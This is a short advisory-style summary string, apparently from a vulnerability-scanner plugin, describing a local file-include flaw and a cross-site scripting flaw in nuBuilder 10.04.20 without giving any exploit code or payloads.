tag_summary = "nuBuilder is prone to a local file-include vulnerability and a cross-
site scripting vulnerability because it fails to properly sanitize user-
supplied input.

An attacker can exploit the local file-include vulnerability using
directory-traversal strings to view and execute local files within
the context of the webserver process. Information harvested may aid
in further attacks.

The attacker may leverage the cross-site scripting issue to execute
arbitrary script code in the browser of an unsuspecting user in the
context of the affected site. This may let the attacker steal cookie-
based authentication credentials and launch other attacks.

nuBuilder 10.04.20 is vulnerable; other versions may also be affected.";
